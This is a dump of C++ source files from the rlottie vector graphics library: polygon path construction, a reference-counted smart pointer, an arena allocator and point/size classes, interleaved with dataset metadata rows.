lineTo(x + cx, y + cy);
}
currentAngle += dTheta * angleDir;
longSegment = !longSegment;
}
close();
}
void VPath::VPathData::addPolygon(float points, float radius, float roundness,
float startAngle, float cx, float cy,
VPath::Direction dir)
{
// TODO: Need to support floating point number for number of points
const static float POLYGON_MAGIC_NUMBER = 0.25;
float currentAngle = (startAngle - 90.0f) * K_PI / 180.0f;
float x;
float y;
float anglePerPoint = 2.0f * K_PI / floorf(points);
size_t numPoints = size_t(floorf(points));
float angleDir = ((dir == VPath::Direction::CW) ? 1.0f : -1.0f);
bool hasRoundness = false;
roundness /= 100.0f;
currentAngle = (currentAngle - 90.0f) * K_PI / 180.0f;
x = radius * cosf(currentAngle);
y = radius * sinf(currentAngle);
currentAngle += anglePerPoint * angleDir;
if (vIsZero(roundness)) {
reserve(numPoints + 2, numPoints + 3);
} else {
reserve(numPoints * 3 + 2, numPoints + 3);
hasRoundness = true;
}
moveTo(x + cx, y + cy);
for (size_t i = 0; i < numPoints; i++) {
float previousX = x;
float previousY = y;
x = (radius * cosf(currentAngle));
y = (radius * sinf(currentAngle));
if (hasRoundness) {
float cp1Theta =
(atan2f(previousY, previousX) - K_PI / 2.0f * angleDir);
float cp1Dx = cosf(cp1Theta);
float cp1Dy = sinf(cp1Theta);
float cp2Theta = atan2f(y, x) - K_PI / 2.0f * angleDir;
float cp2Dx = cosf(cp2Theta);
float cp2Dy = sinf(cp2Theta);
float cp1x = radius * roundness * POLYGON_MAGIC_NUMBER * cp1Dx;
float cp1y = radius * roundness * POLYGON_MAGIC_NUMBER * cp1Dy;
float cp2x = radius * roundness * POLYGON_MAGIC_NUMBER * cp2Dx;
float cp2y = radius * roundness * POLYGON_MAGIC_NUMBER * cp2Dy;
cubicTo(previousX - cp1x + cx, previousY - cp1y + cy, x + cp2x + cx,
y + cp2y + cy, x, y);
} else {
lineTo(x + cx, y + cy);
}
currentAngle += anglePerPoint * angleDir;
}
close();
}
void VPath::VPathData::addPath(const VPathData &path, const VMatrix *m)
{
size_t segment = path.segments();
// make sure enough memory available
if (m_points.capacity() < m_points.size() + path.m_points.size())
m_points.reserve(m_points.size() + path.m_points.size());
if (m_elements.capacity() < m_elements.size() + path.m_elements.size())
m_elements.reserve(m_elements.size() + path.m_elements.size());
if (m) {
for (const auto &i : path.m_points) {
m_points.push_back(m->map(i));
}
} else {
std::copy(path.m_points.begin(), path.m_points.end(),
back_inserter(m_points));
}
std::copy(path.m_elements.begin(), path.m_elements.end(),
back_inserter(m_elements));
m_segments += segment;
mLengthDirty = true;
}
V_END_NAMESPACE
| 22,546
|
vpath
|
cpp
|
en
|
cpp
|
code
|
{"qsc_code_num_words": 2716, "qsc_code_num_chars": 22546.0, "qsc_code_mean_word_length": 4.42488954, "qsc_code_frac_words_unique": 0.13365243, "qsc_code_frac_chars_top_2grams": 0.01689133, "qsc_code_frac_chars_top_3grams": 0.02546181, "qsc_code_frac_chars_top_4grams": 0.00698952, "qsc_code_frac_chars_dupe_5grams": 0.43667832, "qsc_code_frac_chars_dupe_6grams": 0.35263771, "qsc_code_frac_chars_dupe_7grams": 0.31585954, "qsc_code_frac_chars_dupe_8grams": 0.25952738, "qsc_code_frac_chars_dupe_9grams": 0.22333167, "qsc_code_frac_chars_dupe_10grams": 0.19187885, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03698837, "qsc_code_frac_chars_whitespace": 0.32489133, "qsc_code_size_file_byte": 22546.0, "qsc_code_num_lines": 709.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 31.79971791, "qsc_code_frac_chars_alphabet": 0.75257867, "qsc_code_frac_chars_comments": 0.10454183, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.27902622, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00188221, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.00141044, "qsc_code_frac_lines_assert": 0.00187266, "qsc_codecpp_frac_lines_preprocessor_directives": 0.01498127, "qsc_codecpp_frac_lines_func_ratio": 0.02996255, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.06554307, "qsc_codecpp_frac_lines_print": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vsharedptr.h
|
#ifndef VSHAREDPTR_H
#define VSHAREDPTR_H
#include <cassert>
#include <memory>
#include <atomic>
template <typename T, typename Rc>
class vshared_ptr {
struct model {
Rc mRef{1};
model() = default;
template <class... Args>
explicit model(Args&&... args) : mValue(std::forward<Args>(args)...){}
explicit model(const T& other) : mValue(other){}
T mValue;
};
model* mModel{nullptr};
public:
using element_type = T;
vshared_ptr() = default;
~vshared_ptr()
{
unref();
}
template <class... Args>
explicit vshared_ptr(Args&&... args) : mModel(new model(std::forward<Args>(args)...))
{
}
vshared_ptr(const vshared_ptr& x) noexcept : vshared_ptr()
{
if (x.mModel) {
mModel = x.mModel;
++mModel->mRef;
}
}
vshared_ptr(vshared_ptr&& x) noexcept : vshared_ptr()
{
if (x.mModel) {
mModel = x.mModel;
x.mModel = nullptr;
}
}
auto operator=(const vshared_ptr& x) noexcept -> vshared_ptr&
{
unref();
mModel = x.mModel;
ref();
return *this;
}
auto operator=(vshared_ptr&& x) noexcept -> vshared_ptr&
{
unref();
mModel = x.mModel;
x.mModel = nullptr;
return *this;
}
operator bool() const noexcept {
return mModel != nullptr;
}
auto operator*() const noexcept -> element_type& { return read(); }
auto operator-> () const noexcept -> element_type* { return &read(); }
std::size_t refCount() const noexcept
{
assert(mModel);
return mModel->mRef;
}
bool unique() const noexcept
{
assert(mModel);
return mModel->mRef == 1;
}
private:
auto read() const noexcept -> element_type&
{
assert(mModel);
return mModel->mValue;
}
void ref()
{
if (mModel) ++mModel->mRef;
}
void unref()
{
if (mModel && (--mModel->mRef == 0)) {
delete mModel;
mModel = nullptr;
}
}
};
// atomic ref counted pointer implementation.
template < typename T>
using arc_ptr = vshared_ptr<T, std::atomic<std::size_t>>;
// ref counter pointer implementation.
template < typename T>
using rc_ptr = vshared_ptr<T, std::size_t>;
#endif // VSHAREDPTR_H
| 2,396
|
vsharedptr
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 255, "qsc_code_num_chars": 2396.0, "qsc_code_mean_word_length": 5.04705882, "qsc_code_frac_words_unique": 0.23137255, "qsc_code_frac_chars_top_2grams": 0.12432012, "qsc_code_frac_chars_top_3grams": 0.06060606, "qsc_code_frac_chars_top_4grams": 0.05905206, "qsc_code_frac_chars_dupe_5grams": 0.42968143, "qsc_code_frac_chars_dupe_6grams": 0.38383838, "qsc_code_frac_chars_dupe_7grams": 0.2952603, "qsc_code_frac_chars_dupe_8grams": 0.22377622, "qsc_code_frac_chars_dupe_9grams": 0.15229215, "qsc_code_frac_chars_dupe_10grams": 0.15229215, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0018315, "qsc_code_frac_chars_whitespace": 0.3163606, "qsc_code_size_file_byte": 2396.0, "qsc_code_num_lines": 123.0, "qsc_code_num_chars_line_max": 90.0, "qsc_code_num_chars_line_mean": 19.4796748, "qsc_code_frac_chars_alphabet": 0.78388278, "qsc_code_frac_chars_comments": 0.04215359, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.23655914, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.04301075, "qsc_codec_frac_lines_func_ratio": 0.11827957, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.16129032, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/varenaalloc.h
|
/*
* Copyright 2016 Google Inc.
*
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#ifndef VARENAALLOC_H
#define VARENAALLOC_H
#include <cassert>
#include <cstddef>
#include <cstdint>
#include <cstdlib>
#include <cstring>
#include <limits>
#include <new>
#include <type_traits>
#include <utility>
#include <vector>
// SkArenaAlloc allocates object and destroys the allocated objects when destroyed. It's designed
// to minimize the number of underlying block allocations. SkArenaAlloc allocates first out of an
// (optional) user-provided block of memory, and when that's exhausted it allocates on the heap,
// starting with an allocation of firstHeapAllocation bytes. If your data (plus a small overhead)
// fits in the user-provided block, SkArenaAlloc never uses the heap, and if it fits in
// firstHeapAllocation bytes, it'll use the heap only once. If 0 is specified for
// firstHeapAllocation, then blockSize is used unless that too is 0, then 1024 is used.
//
// Examples:
//
// char block[mostCasesSize];
// SkArenaAlloc arena(block, mostCasesSize);
//
// If mostCasesSize is too large for the stack, you can use the following pattern.
//
// std::unique_ptr<char[]> block{new char[mostCasesSize]};
// SkArenaAlloc arena(block.get(), mostCasesSize, almostAllCasesSize);
//
// If the program only sometimes allocates memory, use the following pattern.
//
// SkArenaAlloc arena(nullptr, 0, almostAllCasesSize);
//
// The storage does not necessarily need to be on the stack. Embedding the storage in a class also
// works.
//
// class Foo {
// char storage[mostCasesSize];
// SkArenaAlloc arena (storage, mostCasesSize);
// };
//
// In addition, the system is optimized to handle POD data including arrays of PODs (where
// POD is really data with no destructors). For POD data it has zero overhead per item, and a
// typical per block overhead of 8 bytes. For non-POD objects there is a per item overhead of 4
// bytes. For arrays of non-POD objects there is a per array overhead of typically 8 bytes. There
// is an addition overhead when switching from POD data to non-POD data of typically 8 bytes.
//
// If additional blocks are needed they are increased exponentially. This strategy bounds the
// recursion of the RunDtorsOnBlock to be limited to O(log size-of-memory). Block size grow using
// the Fibonacci sequence which means that for 2^32 memory there are 48 allocations, and for 2^48
// there are 71 allocations.
class VArenaAlloc {
public:
VArenaAlloc(char* block, size_t blockSize, size_t firstHeapAllocation);
explicit VArenaAlloc(size_t firstHeapAllocation)
: VArenaAlloc(nullptr, 0, firstHeapAllocation)
{}
~VArenaAlloc();
template <typename T, typename... Args>
T* make(Args&&... args) {
uint32_t size = ToU32(sizeof(T));
uint32_t alignment = ToU32(alignof(T));
char* objStart;
if (std::is_trivially_destructible<T>::value) {
objStart = this->allocObject(size, alignment);
fCursor = objStart + size;
} else {
objStart = this->allocObjectWithFooter(size + sizeof(Footer), alignment);
// Can never be UB because max value is alignof(T).
uint32_t padding = ToU32(objStart - fCursor);
// Advance to end of object to install footer.
fCursor = objStart + size;
FooterAction* releaser = [](char* objEnd) {
char* objStart = objEnd - (sizeof(T) + sizeof(Footer));
((T*)objStart)->~T();
return objStart;
};
this->installFooter(releaser, padding);
}
// This must be last to make objects with nested use of this allocator work.
return new(objStart) T(std::forward<Args>(args)...);
}
template <typename T>
T* makeArrayDefault(size_t count) {
uint32_t safeCount = ToU32(count);
T* array = (T*)this->commonArrayAlloc<T>(safeCount);
// If T is primitive then no initialization takes place.
for (size_t i = 0; i < safeCount; i++) {
new (&array[i]) T;
}
return array;
}
template <typename T>
T* makeArray(size_t count) {
uint32_t safeCount = ToU32(count);
T* array = (T*)this->commonArrayAlloc<T>(safeCount);
// If T is primitive then the memory is initialized. For example, an array of chars will
// be zeroed.
for (size_t i = 0; i < safeCount; i++) {
new (&array[i]) T();
}
return array;
}
// Only use makeBytesAlignedTo if none of the typed variants are impractical to use.
void* makeBytesAlignedTo(size_t size, size_t align) {
auto objStart = this->allocObject(ToU32(size), ToU32(align));
fCursor = objStart + size;
return objStart;
}
// Destroy all allocated objects, free any heap allocations.
void reset();
private:
static void AssertRelease(bool cond) { if (!cond) { ::abort(); } }
static uint32_t ToU32(size_t v) {
return (uint32_t)v;
}
using Footer = int64_t;
using FooterAction = char* (char*);
static char* SkipPod(char* footerEnd);
static void RunDtorsOnBlock(char* footerEnd);
static char* NextBlock(char* footerEnd);
void installFooter(FooterAction* releaser, uint32_t padding);
void installUint32Footer(FooterAction* action, uint32_t value, uint32_t padding);
void installPtrFooter(FooterAction* action, char* ptr, uint32_t padding);
void ensureSpace(uint32_t size, uint32_t alignment);
char* allocObject(uint32_t size, uint32_t alignment) {
uintptr_t mask = alignment - 1;
uintptr_t alignedOffset = (~reinterpret_cast<uintptr_t>(fCursor) + 1) & mask;
uintptr_t totalSize = size + alignedOffset;
AssertRelease(totalSize >= size);
if (totalSize > static_cast<uintptr_t>(fEnd - fCursor)) {
this->ensureSpace(size, alignment);
alignedOffset = (~reinterpret_cast<uintptr_t>(fCursor) + 1) & mask;
}
return fCursor + alignedOffset;
}
char* allocObjectWithFooter(uint32_t sizeIncludingFooter, uint32_t alignment);
template <typename T>
char* commonArrayAlloc(uint32_t count) {
char* objStart;
AssertRelease(count <= std::numeric_limits<uint32_t>::max() / sizeof(T));
uint32_t arraySize = ToU32(count * sizeof(T));
uint32_t alignment = ToU32(alignof(T));
if (std::is_trivially_destructible<T>::value) {
objStart = this->allocObject(arraySize, alignment);
fCursor = objStart + arraySize;
} else {
constexpr uint32_t overhead = sizeof(Footer) + sizeof(uint32_t);
AssertRelease(arraySize <= std::numeric_limits<uint32_t>::max() - overhead);
uint32_t totalSize = arraySize + overhead;
objStart = this->allocObjectWithFooter(totalSize, alignment);
// Can never be UB because max value is alignof(T).
uint32_t padding = ToU32(objStart - fCursor);
// Advance to end of array to install footer.?
fCursor = objStart + arraySize;
this->installUint32Footer(
[](char* footerEnd) {
char* objEnd = footerEnd - (sizeof(Footer) + sizeof(uint32_t));
uint32_t count;
memmove(&count, objEnd, sizeof(uint32_t));
char* objStart = objEnd - count * sizeof(T);
T* array = (T*) objStart;
for (uint32_t i = 0; i < count; i++) {
array[i].~T();
}
return objStart;
},
ToU32(count),
padding);
}
return objStart;
}
char* fDtorCursor;
char* fCursor;
char* fEnd;
char* const fFirstBlock;
const uint32_t fFirstSize;
const uint32_t fFirstHeapAllocationSize;
// Use the Fibonacci sequence as the growth factor for block size. The size of the block
// allocated is fFib0 * fFirstHeapAllocationSize. Using 2 ^ n * fFirstHeapAllocationSize
// had too much slop for Android.
uint32_t fFib0 {1}, fFib1 {1};
};
// Helper for defining allocators with inline/reserved storage.
// For argument declarations, stick to the base type (SkArenaAlloc).
template <size_t InlineStorageSize>
class VSTArenaAlloc : public VArenaAlloc {
public:
explicit VSTArenaAlloc(size_t firstHeapAllocation = InlineStorageSize)
: VArenaAlloc(fInlineStorage, InlineStorageSize, firstHeapAllocation) {}
private:
char fInlineStorage[InlineStorageSize];
};
#endif // VARENAALLOC_H
| 8,807
|
varenaalloc
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 1035, "qsc_code_num_chars": 8807.0, "qsc_code_mean_word_length": 5.43864734, "qsc_code_frac_words_unique": 0.28309179, "qsc_code_frac_chars_top_2grams": 0.04103748, "qsc_code_frac_chars_top_3grams": 0.00852727, "qsc_code_frac_chars_top_4grams": 0.00746136, "qsc_code_frac_chars_dupe_5grams": 0.17765145, "qsc_code_frac_chars_dupe_6grams": 0.15810979, "qsc_code_frac_chars_dupe_7grams": 0.13927874, "qsc_code_frac_chars_dupe_8grams": 0.13075147, "qsc_code_frac_chars_dupe_9grams": 0.10090602, "qsc_code_frac_chars_dupe_10grams": 0.10090602, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02044241, "qsc_code_frac_chars_whitespace": 0.25570569, "qsc_code_size_file_byte": 8807.0, "qsc_code_num_lines": 232.0, "qsc_code_num_chars_line_max": 99.0, "qsc_code_num_chars_line_mean": 37.9612069, "qsc_code_frac_chars_alphabet": 0.83829138, "qsc_code_frac_chars_comments": 0.36652663, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.26428571, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.03571429, "qsc_codec_frac_lines_func_ratio": 0.15714286, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.28571429, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vpoint.h
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef VPOINT_H
#define VPOINT_H
#include "vglobal.h"
V_BEGIN_NAMESPACE
class VPointF {
public:
VPointF() = default;
constexpr inline VPointF(float x, float y) noexcept : mx(x), my(y) {}
constexpr inline float x() const noexcept { return mx; }
constexpr inline float y() const noexcept { return my; }
inline float & rx() noexcept { return mx; }
inline float & ry() noexcept { return my; }
inline void setX(float x) { mx = x; }
inline void setY(float y) { my = y; }
inline VPointF operator-() noexcept { return {-mx, -my}; }
inline VPointF & operator+=(const VPointF &p) noexcept;
inline VPointF & operator-=(const VPointF &p) noexcept;
friend const VPointF operator+(const VPointF &p1, const VPointF &p2)
{
return VPointF(p1.mx + p2.mx, p1.my + p2.my);
}
inline friend bool fuzzyCompare(const VPointF &p1, const VPointF &p2);
inline friend VDebug & operator<<(VDebug &os, const VPointF &o);
friend inline VPointF operator-(const VPointF &p1, const VPointF &p2);
friend inline const VPointF operator*(const VPointF &, float);
friend inline const VPointF operator*(float, const VPointF &);
friend inline const VPointF operator/(const VPointF &, float);
friend inline const VPointF operator/(float, const VPointF &);
private:
float mx{0};
float my{0};
};
inline bool fuzzyCompare(const VPointF &p1, const VPointF &p2)
{
return (vCompare(p1.mx, p2.mx) && vCompare(p1.my, p2.my));
}
inline VPointF operator-(const VPointF &p1, const VPointF &p2)
{
return {p1.mx - p2.mx, p1.my - p2.my};
}
inline const VPointF operator*(const VPointF &p, float c)
{
return VPointF(p.mx * c, p.my * c);
}
inline const VPointF operator*(float c, const VPointF &p)
{
return VPointF(p.mx * c, p.my * c);
}
inline const VPointF operator/(const VPointF &p, float c)
{
return VPointF(p.mx / c, p.my / c);
}
inline const VPointF operator/(float c, const VPointF &p)
{
return VPointF(p.mx / c, p.my / c);
}
inline VDebug &operator<<(VDebug &os, const VPointF &o)
{
os << "{P " << o.x() << "," << o.y() << "}";
return os;
}
inline VPointF &VPointF::operator+=(const VPointF &p) noexcept
{
mx += p.mx;
my += p.my;
return *this;
}
inline VPointF &VPointF::operator-=(const VPointF &p) noexcept
{
mx -= p.mx;
my -= p.my;
return *this;
}
class VPoint {
public:
VPoint() = default;
constexpr inline VPoint(int x, int y) noexcept : mx(x), my(y) {}
constexpr inline int x() const noexcept { return mx; }
constexpr inline int y() const noexcept { return my; }
inline void setX(int x) { mx = x; }
inline void setY(int y) { my = y; }
inline VPoint & operator+=(const VPoint &p) noexcept;
inline VPoint & operator-=(const VPoint &p) noexcept;
constexpr inline bool operator==(const VPoint &o) const;
constexpr inline bool operator!=(const VPoint &o) const
{
return !(operator==(o));
}
friend inline VPoint operator-(const VPoint &p1, const VPoint &p2);
inline friend VDebug &operator<<(VDebug &os, const VPoint &o);
private:
int mx{0};
int my{0};
};
inline VDebug &operator<<(VDebug &os, const VPoint &o)
{
os << "{P " << o.x() << "," << o.y() << "}";
return os;
}
inline VPoint operator-(const VPoint &p1, const VPoint &p2)
{
return {p1.mx - p2.mx, p1.my - p2.my};
}
constexpr inline bool VPoint::operator==(const VPoint &o) const
{
return (mx == o.x() && my == o.y());
}
inline VPoint &VPoint::operator+=(const VPoint &p) noexcept
{
mx += p.mx;
my += p.my;
return *this;
}
inline VPoint &VPoint::operator-=(const VPoint &p) noexcept
{
mx -= p.mx;
my -= p.my;
return *this;
}
class VSize {
public:
VSize() = default;
constexpr inline VSize(int w, int h) noexcept : mw(w), mh(h) {}
bool empty() const {return (mw <= 0 || mh <= 0);}
constexpr inline int width() const noexcept { return mw; }
constexpr inline int height() const noexcept { return mh; }
inline void setWidth(int w) { mw = w; }
inline void setHeight(int h) { mh = h; }
inline VSize & operator+=(const VSize &p) noexcept;
inline VSize & operator-=(const VSize &p) noexcept;
constexpr inline bool operator==(const VSize &o) const;
constexpr inline bool operator!=(const VSize &o) const
{
return !(operator==(o));
}
inline friend VDebug &operator<<(VDebug &os, const VSize &o);
private:
int mw{0};
int mh{0};
};
inline VDebug &operator<<(VDebug &os, const VSize &o)
{
os << "{P " << o.width() << "," << o.height() << "}";
return os;
}
constexpr inline bool VSize::operator==(const VSize &o) const
{
return (mw == o.width() && mh == o.height());
}
inline VSize &VSize::operator+=(const VSize &p) noexcept
{
mw += p.mw;
mh += p.mh;
return *this;
}
inline VSize &VSize::operator-=(const VSize &p) noexcept
{
mw -= p.mw;
mh -= p.mh;
return *this;
}
V_END_NAMESPACE
#endif // VPOINT_H
| 6,289
|
vpoint
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 869, "qsc_code_num_chars": 6289.0, "qsc_code_mean_word_length": 4.57997699, "qsc_code_frac_words_unique": 0.17376295, "qsc_code_frac_chars_top_2grams": 0.09949749, "qsc_code_frac_chars_top_3grams": 0.05527638, "qsc_code_frac_chars_top_4grams": 0.07462312, "qsc_code_frac_chars_dupe_5grams": 0.58768844, "qsc_code_frac_chars_dupe_6grams": 0.58040201, "qsc_code_frac_chars_dupe_7grams": 0.52839196, "qsc_code_frac_chars_dupe_8grams": 0.40427136, "qsc_code_frac_chars_dupe_9grams": 0.30376884, "qsc_code_frac_chars_dupe_10grams": 0.24070352, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00874089, "qsc_code_frac_chars_whitespace": 0.23596756, "qsc_code_size_file_byte": 6289.0, "qsc_code_num_lines": 210.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 29.94761905, "qsc_code_frac_chars_alphabet": 0.81956296, "qsc_code_frac_chars_comments": 0.18444904, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.2208589, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00467927, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.14110429, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.18404908, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
1
|
